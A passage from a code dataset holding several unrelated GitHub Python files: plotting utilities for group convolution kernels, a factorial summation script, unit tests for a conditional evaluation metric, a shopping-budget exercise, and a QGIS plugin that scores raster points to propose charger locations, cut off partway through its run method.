num_group_elems, spatial_1, spatial_2]\n\n :param grids: list of coordinate grids used as input for SIREN\n \"\"\"\n no_rows = math.floor(math.sqrt(grids.shape[0]))\n no_cols = math.ceil(grids.shape[0] / no_rows)\n\n fig = plt.figure()\n\n for grid_idx, grid in enumerate(grids):\n ax = fig.add_subplot(no_rows, no_cols, grid_idx + 1, projection=\"3d\")\n\n x_grid = grid[0]\n y_grid = grid[1]\n z_grid = grid[2]\n\n no_group_elems = grid.shape[-3]\n cmap = get_cmap(no_group_elems + 1)\n\n for group_elem_idx in range(no_group_elems):\n ax.scatter(\n x_grid[group_elem_idx, 0, 0],\n y_grid[group_elem_idx, 0, 0],\n z_grid[group_elem_idx, 0, 0],\n marker=\"x\",\n s=128,\n color=cmap(group_elem_idx)\n )\n\n ax.scatter(\n x_grid[group_elem_idx].reshape(-1)[1:],\n y_grid[group_elem_idx].reshape(-1)[1:],\n z_grid[group_elem_idx].reshape(-1)[1:],\n color=cmap(group_elem_idx)\n )\n\n ax.tick_params(axis='both', which='both', bottom=False, top=False, labelbottom=False, right=False,\n left=False, labelleft=False)\n\n ax.set_zlabel(\"groups dim\")\n ax.set_title(f\"grid transformed for $g_{grid_idx}$\")\n\n\ndef visualize_lifting_kernels(kernels, save_path=''):\n \"\"\"\n\n :param kernels:\n :return:\n \"\"\"\n no_group_elements_out = len(kernels)\n no_out_channels = kernels[0].shape[0]\n no_in_channels = kernels[0].shape[1]\n\n for out_channel in range(no_out_channels):\n\n fig = plt.figure()\n fig_idx = 0\n for in_channel in range(no_in_channels):\n\n for group_elem_out in range(no_group_elements_out):\n\n filt = kernels[group_elem_out][out_channel, in_channel, :, :]\n ax = fig.add_subplot(no_in_channels, no_group_elements_out, fig_idx + 1)\n img = ax.imshow(filt)\n # fig.colorbar(img)\n ax.tick_params(axis='both', which='both', bottom=False, top=False, labelbottom=False, right=False,\n left=False, labelleft=False)\n # ax.set_title(f\"$C^{in_channel}_{out_channel} g_{group_elem_out}$\")\n fig_idx += 1\n\n plt.tick_params(\n axis='x', # changes apply to the x-axis\n which='both', # both major and minor ticks are affected\n bottom=False, # ticks along the bottom edge are off\n top=False, # ticks along the top edge are off\n labelbottom=False) # labels along the bottom edge are off\n\n if save_path:\n plt.savefig(save_path + f'{out_channel}' + '.png')\n else:\n plt.show()\n\n\ndef visualize_group_kernels(kernels, save_path=None):\n no_group_elements_out = len(kernels)\n no_out_channels = kernels[0].shape[0]\n no_in_channels = kernels[0].shape[1]\n kernel_size = kernels[0].shape[-1]\n\n no_out_channels = kernels.shape[0]\n no_in_channels = kernels.shape[2]\n\n no_group_elements_out = kernels.shape[1]\n no_group_elements_in = kernels.shape[3]\n\n for out_channel in range(no_out_channels):\n\n fig = plt.figure(figsize=(10, no_in_channels * 10))\n fig_idx = 0\n for in_channel in range(no_in_channels):\n\n for group_elem_out in range(no_group_elements_out):\n\n # filter containing input group elements and input spatial dimensions\n filt = kernels[out_channel, group_elem_out, in_channel, :, :, :]\n\n # concatenated filter of input group elements\n catfilt = np.concatenate([f for f in filt], axis=0)\n\n ax = fig.add_subplot(no_in_channels, no_group_elements_out, fig_idx + 1)\n img = ax.imshow(catfilt)\n # fig.colorbar(img)\n\n # ax.set_title(f\"$C^{in_channel}_{out_channel} g_{group_elem_out}$\")\n ax.tick_params(axis='both', which='both', bottom=False, top=False, labelbottom=False, right=False,\n left=False, labelleft=False)\n fig_idx += 1\n\n if save_path:\n plt.savefig(save_path + f'{out_channel}' + '.png')\n else:\n plt.show()\n\n\ndef visualize_activations(acts, channel_idx=0, sample_idx=0):\n \"\"\" Visualize the activations throughout the network.\n\n :param acts: tensor of activations with shape [batch_dim, out_channels, group_dim, spatial_1, spatial_2]\n :param channel_idx: integer, determines which of the output channels to visualize over the groups\n :param sample_idx: integer, determines which of the samples to visualize for\n :return: None\n \"\"\"\n act = acts[sample_idx, channel_idx, :, :, :]\n\n no_rows = math.floor(len(act) // 2)\n no_cols = math.ceil(len(act) / no_rows)\n\n fig = plt.figure()\n\n for group_elem in range(len(act)):\n ax = fig.add_subplot(no_rows, no_cols, group_elem + 1)\n\n img = ax.imshow(act[group_elem, :, :])\n fig.colorbar(img)\n\n ax.set_title(f\"Activations for channel {channel_idx}, $g_{group_elem}$\")\n\n plt.show()\n","repo_name":"david-knigge/separable-group-convolutional-networks","sub_path":"demo/utils/vis_utils.py","file_name":"vis_utils.py","file_ext":"py","file_size_in_byte":6645,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"18"} +{"seq_id":"28986455734","text":"#import helper\r\nfrom itertools import count\r\nimport math \r\n\r\n#write in your basic variables\r\nfact = int(input('fact = '))\r\nr = int(input('r = '))\r\nr_list = []\r\nfact_r_list = []\r\ncounter = 0\r\n\r\n#build basic function\r\nfactorial_fact = math.factorial(int(fact)) # the variable will not be changed\r\n\r\nfor i in range(1,fact-r+2):\r\n factorial_r = math.factorial(r+counter)\r\n r_list.append(factorial_r)\r\n counter += 1\r\n\r\n\r\ncounter = 0 #reset counter\r\n\r\nfor i in range(1,fact-r+2):\r\n factorial_fact_r = math.factorial(fact - r - counter)\r\n fact_r_list.append(factorial_fact_r)\r\n counter +=1\r\n\r\n\r\n#we have got the two main values lists\r\n\r\nC_list = []\r\ncounter = 0\r\n#calculate the sum of summation\r\n\r\nfor i in range(1,fact-r+2):\r\n C = factorial_fact / (r_list[counter] * fact_r_list[counter])\r\n C_list.append(C)\r\n counter += 1\r\n \r\nC_sum = sum(C_list)\r\nprint('the answer is ' + str(C_sum))\r\n\r\n\r\n\r\n\r\n","repo_name":"user191121/my_python","sub_path":"summation d).py","file_name":"summation d).py","file_ext":"py","file_size_in_byte":918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"71144924839","text":"import unittest\nimport torch\nimport bioval.utils.gpu_manager as gpu_manager\nfrom bioval.metrics.conditional_evaluation import ConditionalEvaluation\nimport numpy as np\n# ignore warnings\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\nclass TestConditionalEvaluation(unittest.TestCase):\n def test_init(self):\n # Test default values\n topk = ConditionalEvaluation()\n self.assertEqual(topk.method, 'euclidean')\n self.assertEqual(topk.aggregate, 'mean')\n self.assertEqual(list(topk._methods.keys()), ['euclidean','cosine','correlation','chebyshev','minkowski','cityblock'])\n self.assertEqual(list(topk._aggregs.keys()), ['mean', 'median', 'robust_mean'])\n\n # Test custom values\n topk = ConditionalEvaluation(method='cosine', aggregate='median')\n self.assertEqual(topk.method, 'cosine')\n self.assertEqual(topk.aggregate, 'median')\n\n \n \n def test_call(self):\n # Test error on invalid method\n topk = ConditionalEvaluation()\n with self.assertRaises(ValueError):\n topk(torch.zeros(2, 3), torch.zeros(2, 3), k_range=[1, 5, 10])\n topk.method = 'invalid'\n\n # Test error on invalid aggregate\n topk = ConditionalEvaluation(method='cosine')\n with self.assertRaises(ValueError):\n topk(torch.zeros(2, 3), torch.zeros(2, 3), k_range=[1, 5, 10])\n topk.aggregate = 'invalid'\n \n # Test error on invalid arr1 dimension\n topk = ConditionalEvaluation(method='cosine', aggregate='median')\n with self.assertRaises(ValueError):\n topk(torch.zeros(2), torch.zeros(2, 3), k_range=[1, 5, 10])\n \n # Test error on invalid arr2 dimension\n topk = ConditionalEvaluation(method='cosine', aggregate='median')\n with self.assertRaises(ValueError):\n topk(torch.zeros(2, 3), torch.zeros(2), k_range=[1, 5, 10])\n \n # test tensor type\n arr1 = np.array([[1, 2, 3], [4, 5, 6]])\n arr2 = torch.tensor([[1, 2, 3], [4, 5, 6]])\n model = ConditionalEvaluation()\n result = model(arr1, arr2)\n self.assertIsInstance(result, dict)\n\n arr1 = torch.tensor([[1, 2, 3], [4, 5, 6]])\n arr2 = np.array([[1, 2, 3], [4, 5, 6]])\n model = ConditionalEvaluation()\n result = model(arr1, arr2)\n self.assertIsInstance(result, dict)\n\n arr1 = torch.tensor([[1, 2, 3]])\n arr2 = torch.tensor([[1, 2, 3], [4, 5, 6]])\n model = ConditionalEvaluation()\n with self.assertRaises(ValueError) as context:\n model(arr1, arr2)\n self.assertTrue(\"First tensor should have at least 2 classes\" in str(context.exception))\n\n arr1 = torch.tensor([[1, 2, 3], [4, 5, 6]])\n arr2 = torch.tensor([[1, 2, 3]])\n model = ConditionalEvaluation()\n with self.assertRaises(ValueError) as context:\n model(arr1, arr2)\n self.assertTrue(\"Second tensor should have at least 2 classes\" in str(context.exception))\n\n best_gpu = gpu_manager.get_available_gpu()\n\n if best_gpu is not None:\n\n arr1 = torch.tensor([[1, 2, 3], [4, 5, 6]])\n arr2 = torch.tensor([[1, 2, 3], [4, 5, 6]], device='cuda:'+str(best_gpu))\n model = ConditionalEvaluation()\n with self.assertRaises(ValueError) as context:\n model(arr1, arr2)\n self.assertTrue(\"First tensor and second tensor should be on the same device\" in str(context.exception))\n \n # Test valid call\n arr1 = torch.zeros(2, 3)\n arr2 = torch.zeros(2, 3)\n topk = ConditionalEvaluation(method='cosine', aggregate='median')\n result = topk(arr1, arr2, k_range=[1, 5, 10])\n self.assertIsInstance(result, dict)\n\n arr1 = torch.Tensor([\n [1, 2, 3],\n [4, 5, 6],\n [7, 8, 9]\n ])\n arr2 = torch.Tensor([\n [9, 8, 7],\n [6, 5, 4],\n [3, 2, 1]\n ])\n control = torch.Tensor([1, 2, 3])\n\n topk = ConditionalEvaluation()\n output = topk(arr1, arr2, control,k_range=[1, 5, 10])\n\n self.assertTrue('control_score' in output)\n self.assertTrue('class_control_scores' in output)\n control_score = output['control_score']\n self.assertIsInstance(control_score, float)\n\n control_score_2 = output['class_control_scores']\n self.assertIsInstance(control_score_2, list)\n\nif __name__ == '__main__':\n unittest.main(argv=[''], verbosity=2, exit=False)\n # call TestTopKDistance.test_init\n\n # call TestTopKDistance.test_call\n","repo_name":"IhabBendidi/bioval","sub_path":"bioval/tests/test_conditional_evaluation.py","file_name":"test_conditional_evaluation.py","file_ext":"py","file_size_in_byte":4627,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"18"} +{"seq_id":"41412265135","text":"def getMoneySpent(keyboards, drives, b):\n total = -1\n keyboards = sorted(keyboards, key=int, reverse=True)\n drives = sorted(drives, key=int, reverse=False)\n\n for k in keyboards:\n for d in drives:\n if total < k + d <= b:\n total = k + d\n\n return total\n\n\nprint(getMoneySpent([3, 1], [5, 2, 8], 10)) # 9\nprint(getMoneySpent([4], [5], 5)) # -1\n","repo_name":"kovalevcon/practice-code","sub_path":"Electronics Shop/electronics-shop.py","file_name":"electronics-shop.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"24994154105","text":"from qgis.PyQt.QtCore import QSettings, QTranslator, QCoreApplication, Qt, QVariant\nfrom qgis.PyQt.QtGui import QIcon\nfrom qgis.PyQt.QtWidgets import QAction, QTableWidgetItem, QDialog, QPushButton, QComboBox, QListWidget\nfrom qgis.core import QgsProject, QgsCoordinateTransform, QgsVectorLayer, QgsFeature, QgsPointXY, QgsGeometry, QgsRectangle, QgsField, QgsVectorLayerUtils\nimport numpy as np\nimport time\nimport pandas as pd\n\n# Initialize Qt resources from file resources.py\nfrom .resources import *\n# Import the code for the dialog\nfrom .heatPointExtracter_dialog import HeatMap_PointExtracterDialog\nimport os.path\n\n\nclass HeatMap_PointExtracter:\n \"\"\"QGIS Plugin Implementation.\"\"\"\n\n def __init__(self, iface):\n \"\"\"Constructor.\n\n :param iface: An interface instance that will be passed to this class\n which provides the hook by which you can manipulate the QGIS\n application at run time.\n :type iface: QgsInterface\n \"\"\"\n # Save reference to the QGIS interface\n self.iface = iface\n # initialize plugin directory\n self.plugin_dir = os.path.dirname(__file__)\n # initialize locale\n locale = QSettings().value('locale/userLocale')[0:2]\n locale_path = os.path.join(\n self.plugin_dir,\n 'i18n',\n 'HeatMap_PointExtracter_{}.qm'.format(locale))\n\n if os.path.exists(locale_path):\n self.translator = QTranslator()\n self.translator.load(locale_path)\n QCoreApplication.installTranslator(self.translator)\n\n # Declare instance attributes\n self.actions = []\n self.menu = self.tr(u'&Heatpoint')\n\n # Check if plugin was started the first time in current QGIS session\n # Must be set in initGui() to survive plugin reloads\n self.first_start = None\n\n # noinspection PyMethodMayBeStatic\n def tr(self, message):\n \"\"\"Get the translation for a string using Qt translation API.\n\n We implement this ourselves since we do not inherit QObject.\n\n :param message: String for translation.\n :type message: str, QString\n\n :returns: Translated version of message.\n :rtype: QString\n \"\"\"\n # noinspection PyTypeChecker,PyArgumentList,PyCallByClass\n return QCoreApplication.translate('HeatMap_PointExtracter', message)\n\n\n def add_action(\n self,\n icon_path,\n text,\n callback,\n enabled_flag=True,\n add_to_menu=True,\n add_to_toolbar=True,\n status_tip=None,\n whats_this=None,\n parent=None):\n \"\"\"Add a toolbar icon to the toolbar.\n\n :param icon_path: Path to the icon for this action. Can be a resource\n path (e.g. ':/plugins/foo/bar.png') or a normal file system path.\n :type icon_path: str\n\n :param text: Text that should be shown in menu items for this action.\n :type text: str\n\n :param callback: Function to be called when the action is triggered.\n :type callback: function\n\n :param enabled_flag: A flag indicating if the action should be enabled\n by default. Defaults to True.\n :type enabled_flag: bool\n\n :param add_to_menu: Flag indicating whether the action should also\n be added to the menu. Defaults to True.\n :type add_to_menu: bool\n\n :param add_to_toolbar: Flag indicating whether the action should also\n be added to the toolbar. Defaults to True.\n :type add_to_toolbar: bool\n\n :param status_tip: Optional text to show in a popup when mouse pointer\n hovers over the action.\n :type status_tip: str\n\n :param parent: Parent widget for the new action. Defaults None.\n :type parent: QWidget\n\n :param whats_this: Optional text to show in the status bar when the\n mouse pointer hovers over the action.\n\n :returns: The action that was created. Note that the action is also\n added to self.actions list.\n :rtype: QAction\n \"\"\"\n\n icon = QIcon(icon_path)\n action = QAction(icon, text, parent)\n action.triggered.connect(callback)\n action.setEnabled(enabled_flag)\n\n if status_tip is not None:\n action.setStatusTip(status_tip)\n\n if whats_this is not None:\n action.setWhatsThis(whats_this)\n\n if add_to_toolbar:\n # Adds plugin icon to Plugins toolbar\n self.iface.addToolBarIcon(action)\n\n if add_to_menu:\n self.iface.addPluginToMenu(\n self.menu,\n action)\n\n self.actions.append(action)\n\n return action\n\n def initGui(self):\n \"\"\"Create the menu entries and toolbar icons inside the QGIS GUI.\"\"\"\n\n icon_path = ':/plugins/heatPointExtracter/icon.png'\n self.add_action(\n icon_path,\n text=self.tr(u'HeatPoint Extracter'),\n callback=self.run,\n parent=self.iface.mainWindow())\n\n # will be set False in run()\n self.first_start = True\n\n\n def unload(self):\n \"\"\"Removes the plugin menu item and icon from QGIS GUI.\"\"\"\n for action in self.actions:\n self.iface.removePluginMenu(\n self.tr(u'&Heatpoint'),\n action)\n self.iface.removeToolBarIcon(action)\n\n def pnkt_lyr_in_extent(self):\n self.layerstor.pnktlyr = QgsProject.instance().mapLayersByName(self.dlg.pnktlyr_cb.currentText())[0]\n self.crsstor.dest_crs = QgsProject.instance().crs()\n self.crsstor.src_crs = self.layerstor.pnktlyr.crs()\n xform = QgsCoordinateTransform(self.crsstor.src_crs, self.crsstor.dest_crs, QgsProject.instance())\n currentExtent = self.iface.mapCanvas().extent()\n #templayer with fields\n self.layerstor.punktlyr_in_extent = QgsVectorLayer('Point?crs=%s' % self.crsstor.dest_crs.authid(), 'lyr_in_extent', 'memory')\n tempprovider = self.layerstor.punktlyr_in_extent.dataProvider()\n tempprovider.addAttributes(self.layerstor.pnktlyr.fields())\n self.layerstor.punktlyr_in_extent.updateFields()\n self.layerstor.punktlyr_in_extent.startEditing()\n for feature in self.layerstor.pnktlyr.getFeatures():\n g = feature.geometry()\n g.transform(xform)\n if currentExtent.contains(g.asPoint()):\n feature.setGeometry(g)\n nwFeature = QgsFeature()\n nwFeature.setAttributes(feature.attributes())\n nwFeature.setGeometry(g)\n self.layerstor.punktlyr_in_extent.addFeature(nwFeature)\n \n self.layerstor.punktlyr_in_extent.commitChanges()\n self.layerstor.punktlyr_in_extent.updateExtents()\n if self.show_zwischenergenisse:\n QgsProject.instance().addMapLayer(self.layerstor.punktlyr_in_extent)\n\n\n def loadColumn(self):\n if self.dlg.pnktlyr_cb.currentText() ==\"\":\n self.table.clear()\n self.dlg.flds_cb.currentIndexChanged.disconnect()\n self.dlg.flds_cb.clear()\n self.dlg.flds_cb.currentIndexChanged.connect(self.loadAttributes)\n return()\n self.pnkt_lyr_in_extent()\n #print(self.iface.mapCanvas().extent())\n self.dlg.flds_cb.currentIndexChanged.disconnect()\n self.dlg.flds_cb.clear()\n self.dlg.flds_cb.addItems([\"\"]+[field.name() for field in self.layerstor.punktlyr_in_extent.fields()])\n self.dlg.flds_cb.currentIndexChanged.connect(self.loadAttributes)\n\n def createRasterPoints(self, rectangle, dist):\n height = rectangle.height()\n width = rectangle.width()\n nheight = int(height/dist)\n rectlist_factor = 30\n nRectHeight = int(height/(dist*rectlist_factor))\n nwidth = int(width/dist)\n nRectWidth = int(width/(dist*rectlist_factor))\n self.layerstor.temprasterpunktlyr = QgsVectorLayer('Point?crs=%s' % self.crsstor.dest_crs.authid(), 'rastertemp', 'memory')\n tempprovider = self.layerstor.temprasterpunktlyr.dataProvider()\n self.layerstor.temprasterpunktlyr.startEditing()\n tempprovider.addAttributes([QgsField(\"score\",QVariant.Double, \"double\", 10, 3)])\n #self.layerstor.temprasterpunktlyr.updateFields()\n #self.layerstor.temprasterpunktlyr.startEditing()\n xmin = rectangle.xMinimum()\n ymin = rectangle.yMinimum()\n for xn in range(nwidth+1):\n for yn in range(nheight+1):\n nwFeature = QgsFeature()\n nwFeature.setGeometry(QgsGeometry.fromPointXY(QgsPointXY(xn*dist+xmin,yn*dist+ymin)))\n self.layerstor.temprasterpunktlyr.addFeature(nwFeature)\n self.layerstor.temprasterpunktlyr.commitChanges()\n self.layerstor.temprasterpunktlyr.updateExtents()\n if self.show_zwischenergenisse:\n QgsProject.instance().addMapLayer(self.layerstor.temprasterpunktlyr)\n # creating rectangles for better/faster calculation\n rectlist = []\n for xn in range(nRectWidth+1):\n for yn in range(nRectHeight+1):\n point_min=QgsPointXY(xn*dist*rectlist_factor+xmin,yn*dist*rectlist_factor+ymin)\n point_max=QgsPointXY((xn+1)*dist*rectlist_factor+xmin,(yn+1)*dist*rectlist_factor+ymin)\n rectlist.append(QgsRectangle(point_min,point_max))\n self.rectlist=rectlist\n\n def plusclicked(self):\n self.lv.fill()\n pass\n\n def minusclicked(self):\n print(\"miunss\")\n print(self.table.tablewidget.selectedIndexes())\n print(self.table.tablewidget.selectedItems())\n to_del = []\n for ind in self.table.tablewidget.selectedIndexes():\n to_del.append(ind.row()-1)\n print(ind.row())\n to_del.sort(reverse=True)\n self.table.minus(to_del)\n\n def loadAttributes(self):\n field = self.dlg.flds_cb.currentText()\n fieldslist = []\n for feature in self.layerstor.punktlyr_in_extent.getFeatures():\n if feature[field] not in fieldslist:\n fieldslist.append(feature[field])\n fieldslist.sort()\n self.table.firstfill(fieldslist)\n\n def calc_charger(self):\n self.layerstor.chargerloclyr = QgsVectorLayer('Point?crs=%s' % self.crsstor.dest_crs.authid(), 'proposed Charger locations', 'memory')\n tempprovider = self.layerstor.chargerloclyr.dataProvider()\n self.layerstor.chargerloclyr.startEditing()\n tempprovider.addAttributes([QgsField(\"rank\",QVariant.Double, \"double\", 10, 3)])\n self.layerstor.chargerloclyr.commitChanges()\n self.layerstor.chargerloclyr.startEditing()\n desired_n = int(self.dlg.n_charStations_le.text())\n min_distance = int(self.dlg.min_distance_le.text())\n excluded_area_list = [] # wenn ein Punkt gefunden wird, wird ein buffer mit mindest abstand drumgelegt, der kreis wird hier rein gelegt und alle punkte die in dem drin liegen , werden anschließend ignoriert\n class p_feature():\n def __init__(self,feature):\n self.feature = feature\n def __lt__(self, other):\n return(self.feature[\"score\"] < other.feature[\"score\"])\n feature_list= []\n for f in self.layerstor.temprasterpunktlyr.getFeatures():\n feature_list.append(p_feature(f))\n feature_list.sort(reverse=True)\n defined_positions =0\n for f in feature_list:\n if defined_positions == desired_n:\n break\n print([buffer.contains(f.feature.geometry().asPoint()) for buffer in excluded_area_list])\n if sum([buffer.contains(f.feature.geometry().asPoint()) for buffer in excluded_area_list]) ==0:\n defined_positions +=1\n excluded_area_list.append(f.feature.geometry().buffer(min_distance,-1))\n nwFeature = QgsVectorLayerUtils.createFeature(self.layerstor.chargerloclyr)\n nwFeature.setGeometry(f.feature.geometry())\n nwFeature[\"rank\"] = defined_positions\n self.layerstor.chargerloclyr.addFeature(nwFeature)\n self.layerstor.chargerloclyr.commitChanges()\n self.layerstor.chargerloclyr.updateExtents()\n QgsProject.instance().addMapLayer(self.layerstor.chargerloclyr)\n\n\n def calc(self):\n selectedColumn = self.dlg.flds_cb.currentText()\n print(selectedColumn)\n print(selectedColumn==\"\")\n \n distance = int(self.dlg.heat_raster_le.text())\n currentExtent = self.iface.mapCanvas().extent()\n self.createRasterPoints(currentExtent, distance)\n min_distance = int(self.dlg.min_distance_le.text())\n observed_distance = 1.5*min_distance\n #for everyrasterpoints create buffer double min_distance\n start_time = time.time()\n i=0\n self.layerstor.temprasterpunktlyr.startEditing()\n dataProvider = self.layerstor.temprasterpunktlyr.dataProvider()\n print(len(self.rectlist))\n for rect in self.rectlist:\n print(len([point for point in self.layerstor.temprasterpunktlyr.getFeatures() if rect.contains(point.geometry().asPoint())]))\n print(len([point for point in self.layerstor.punktlyr_in_extent.getFeatures() if rect.buffered(observed_distance).contains(point.geometry().asPoint())]))\n for rasterpoint in [point for point in self.layerstor.temprasterpunktlyr.getFeatures() if rect.contains(point.geometry().asPoint())]:\n value = 0.0\n for poipoint in [point for point in self.layerstor.punktlyr_in_extent.getFeatures() if rect.buffered(observed_distance).contains(point.geometry().asPoint())]:\n if selectedColumn==\"\":\n diff = observed_distance - poipoint.geometry().distance(rasterpoint.geometry())\n if diff > 0:\n value+=diff\n else:\n if poipoint[selectedColumn] in self.table.list_arg():\n diff = observed_distance - poipoint.geometry().distance(rasterpoint.geometry())\n if diff > 0:\n value+=diff*self.table.arg_value(poipoint[selectedColumn])\n self.table.arg_value(poipoint[selectedColumn])\n\n dataProvider.changeAttributeValues({rasterpoint.id():{0:value/observed_distance}})\n\n\n # for rPoint in self.layerstor.temprasterpunktlyr.getFeatures():\n # buff=rPoint.geometry().buffer(3*min_distance,10)\n # i+=1\n # for poi in self.layerstor.punktlyr_in_extent.getFeatures():\n # print(buff.contains(poi.geometry().asPoint()))\n #break\n self.layerstor.temprasterpunktlyr.commitChanges()\n end_time = time.time()\n print(\"total time taken this loop: \", end_time - start_time)\n print(\"for %s points\" %str(i))\n self.dlg.n_charStations_le.setEnabled(True)\n self.dlg.calc_charger_pb.setEnabled(True)\n\n\n def attribute_select_state_changed(self):\n self.show_attribute_select(self.dlg.attribute_select_cb.checkState())\n\n def zwischenergebnisse_state_changed(self):\n self.show_zwischenergenisse = not self.show_zwischenergenisse\n\n def wertigkeit_state_changed(self):\n self.show_wertigkeit(self.dlg.wertigkeit_cb.checkState()/2) #div 2 because wertigkeit combobox gives 2 or 0 is no bool 1 or 0 is\n print(\"checkState\")\n print(self.dlg.wertigkeit_cb.checkState()/2==True)\n\n def show_wertigkeit(self,state):\n self.table.show_wertigkeit(state)\n\n \n def show_attribute_select(self,state):\n if state: #if selected\n self.dlg.attribute_tw.setVisible(True)\n self.dlg.plusminuswidget.setVisible(True)\n self.dlg.label_spalte_Selektion.setVisible(True)\n self.dlg.flds_cb.setVisible(True)\n self.dlg.wertigkeit_cb.setVisible(True)\n self.dlg.setMinimumHeight(800)\n self.dlg.resize(705,800)\n else:\n self.dlg.attribute_tw.setHidden(True)\n self.dlg.plusminuswidget.setHidden(True)\n self.dlg.label_spalte_Selektion.setHidden(True)\n self.dlg.flds_cb.setHidden(True)\n self.dlg.wertigkeit_cb.setHidden(True)\n self.dlg.setMinimumHeight(370)\n self.dlg.resize(705,370)\n \n\n def run(self):\n \"\"\"Run method that performs all the real work\"\"\"\n class layerstorage():\n name = \"class\"\n class crsstorage():\n name = \"class\"\n\n class listview(QDialog):\n name=\"class\"\n def __init__(self,table):\n super().__init__()\n self.table = table\n self.title=\"Hinzufügen\"\n self.top=600\n self.left=200\n self.width=350\n self.height=450\n\n self.initWindow()\n\n def initWindow(self):\n self.addButton=QPushButton(\"Hinzufügen\", self)\n self.closeButton=QPushButton(\"Schließen\", self)\n self.listWidget=QListWidget(self)\n self.listWidget.move(50,50)\n self.listWidget.resize(250,350)\n self.addButton.move(100,410)\n self.addButton.clicked.connect(self.add)\n self.closeButton.move(220,410)\n self.closeButton.clicked.connect(self.closing)\n\n self.setWindowTitle(self.title)\n self.setGeometry(self.top, self.left, self.width, self.height)\n \n def fill(self):\n self.listWidget.clear()\n if self.table.missingattr !=[]:\n self.listWidget.addItems(self.table.missingattr)\n self.show()\n\n def add(self):\n print([li.text() for li in self.listWidget.selectedItems()])\n self.table.add([li.text() for li in self.listWidget.selectedItems()])\n self.fill()\n print(\"ok\")\n\n def closing(self):\n self.close()\n\n class tableview():\n def __init__(self,tablewidget):\n self.tablewidget = tablewidget\n self.tablewidget.setColumnCount(2)\n self.missingattr = []\n #self.tablewidget.setColumnWidth(0,int(self.tablewidget.width()*0.75))\n #self.tablewidget.setColumnWidth(1,int(self.tablewidget.width()*0.35))\n self.tablewidget.itemChanged.connect(self.savetable)\n self.if_show_wertigkeit = False\n self.firstfill_happend = False\n \n def firstfill(self,fieldlist):\n self.fieldlist = fieldlist\n self.table = pd.DataFrame({\"Attribute\":self.fieldlist, \"Wertigkeit\":[1]*len(self.fieldlist)})\n self.missingattr.clear()\n self.firstfill_happend = True\n self.show_wertigkeit(False)\n \n def clear(self):\n self.tablewidget.itemChanged.disconnect()\n self.tablewidget.clear()\n self.tablewidget.itemChanged.connect(self.savetable)\n\n def list_arg(self):\n return(list(self.table[\"Attribute\"]))\n \n def arg_value(self,arg):\n return(float(self.table[self.table[\"Attribute\"] == arg][\"Wertigkeit\"]))\n\n def show_wertigkeit(self,state):\n self.if_show_wertigkeit = state\n if self.firstfill_happend:\n if self.if_show_wertigkeit:\n self.tablewidget.setColumnWidth(0,int(self.tablewidget.width()*0.63))\n self.tablewidget.setColumnWidth(1,int(self.tablewidget.width()*0.30))\n else:\n self.tablewidget.setColumnWidth(0,int(self.tablewidget.width()*0.830))\n self.tablewidget.setColumnWidth(1,int(self.tablewidget.width()*0.03))\n self.table[\"Wertigkeit\"].values[:] = 1\n self.loadtable()\n\n def loadtable(self):\n self.tablewidget.itemChanged.disconnect()\n self.tablewidget.clear()\n self.tablewidget.setRowCount(len(self.table)+1)\n self.table = self.table.sort_values(by=\"Attribute\")\n for coln, colname in enumerate(self.table.columns):\n if coln ==0 or self.if_show_wertigkeit == True:\n itm = QTableWidgetItem(colname)\n itm.setFlags(Qt.ItemIsEnabled)\n self.tablewidget.setItem(0,coln,itm)\n\n for r, attr in enumerate(self.table[\"Attribute\"].tolist()):\n wert = self.table[\"Wertigkeit\"].tolist()[r]\n itm = QTableWidgetItem(attr)\n itm.setFlags(Qt.ItemIsEnabled) # cann't be changed\n itm.setFlags(Qt.ItemIsSelectable)\n self.tablewidget.setItem(r+1,0,itm)\n # print(\"if_show_wertigkeit\")\n # print(self.if_show_wertigkeit)\n if self.if_show_wertigkeit == True:\n self.tablewidget.setItem(r+1,1,QTableWidgetItem(str(wert)))\n self.tablewidget.itemChanged.connect(self.savetable)\n \n def minus(self,to_del):\n self.missingattr += [self.table[\"Attribute\"].tolist()[i] for i in to_del]\n self.missingattr.sort()\n #print(self.missingattr)\n self.table = self.table.drop([self.table.index[i] for i in to_del])\n self.loadtable()\n \n def add(self,to_add):\n for li in to_add:\n print(li)\n self.table = self.table.append({\"Attribute\":li,\"Wertigkeit\":1}, ignore_index=True)\n self.missingattr.pop(self.missingattr.index(li))\n self.loadtable()\n\n def savetable(self,item):\n attr=self.tablewidget.item(item.row(),0).text()\n self.table.loc[self.table[\"Attribute\"]==attr,\"Wertigkeit\"] = int(item.text())\n self.loadtable()\n \n # Create the dialog with elements (after translation) and keep reference\n # Only create GUI ONCE in callback, so that it will only load when the plugin is started\n if self.first_start == True:\n self.first_start = False\n self.dlg = HeatMap_PointExtracterDialog()\n\n self.dlg.title.setText(\"Git import_function\")\n\n layerlist = QgsProject.instance().mapLayers().values()\n self.dlg.pnktlyr_cb.clear()\n self.dlg.pnktlyr_cb.addItems([\"\"]+[lay.name() for lay in layerlist])\n\n self.dlg.pnktlyr_cb.currentIndexChanged.connect(self.loadColumn)\n self.dlg.flds_cb.currentIndexChanged.connect(self.loadAttributes)\n self.dlg.run_pb.clicked.connect(self.calc)\n self.dlg.plus_pb.clicked.connect(self.plusclicked)\n self.dlg.minus_pb.clicked.connect(self.minusclicked)\n self.dlg.attribute_select_cb.stateChanged.connect(self.attribute_select_state_changed)\n self.dlg.zwischenergebnisse_cb.stateChanged.connect(self.zwischenergebnisse_state_changed)\n self.dlg.wertigkeit_cb.stateChanged.connect(self.wertigkeit_state_changed)\n self.dlg.calc_charger_pb.clicked.connect(self.calc_charger)\n self.layerstor = layerstorage()\n self.crsstor = crsstorage()\n self.table = tableview(self.dlg.attribute_tw)\n self.lv = listview(self.table)\n self.show_attribute_select(False)\n \n self.show_zwischenergenisse = False\n #deactivate chargercalc-dialog until Things are calculated\n self.dlg.n_charStations_le.setEnabled(False)\n self.dlg.calc_charger_pb.setEnabled(False)\n\n self.dlg.heat_raster_le.setText(\"20\")\n self.dlg.min_distance_le.setText(\"100\")\n # show the dialog\n self.dlg.show()\n # Run the dialog event loop\n result = self.dlg.exec_()\n # See if OK was pressed\n if result:\n # Do something useful here - 